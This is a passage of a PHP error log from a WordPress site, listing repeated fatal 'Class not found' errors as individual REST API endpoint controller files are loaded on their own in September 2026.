/home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 13:41:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 13:42:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 13:44:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 13:44:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 13:44:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 13:44:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 13:44:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 13:44:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 13:44:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 13:44:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 13:44:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 13:44:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 13:45:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 13:46:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 13:46:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 13:46:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 13:46:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 13:46:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 13:47:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 13:47:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 13:47:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 13:47:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 13:48:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 13:48:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 13:48:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 13:49:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 13:50:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 13:50:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 13:52:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 13:53:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 13:55:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 13:57:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 13:57:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 13:57:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 13:57:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 13:57:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 13:57:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 13:57:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 13:57:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 13:57:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 13:58:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 13:58:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 13:58:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 13:58:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 13:58:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 13:58:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 13:58:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 13:59:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 13:59:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 13:59:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 13:59:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 14:00:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 14:00:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 14:00:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 14:01:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 14:02:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 14:02:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 14:04:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 14:04:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 14:06:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 14:21:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 14:31:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 14:33:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 14:36:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [10-Sep-2026 14:43:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 14:46:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [10-Sep-2026 14:59:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [10-Sep-2026 15:10:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [10-Sep-2026 21:40:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 21:40:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 21:40:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 21:40:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 21:40:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 21:40:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 21:40:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 21:40:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 21:41:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 21:41:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 21:42:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 21:42:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 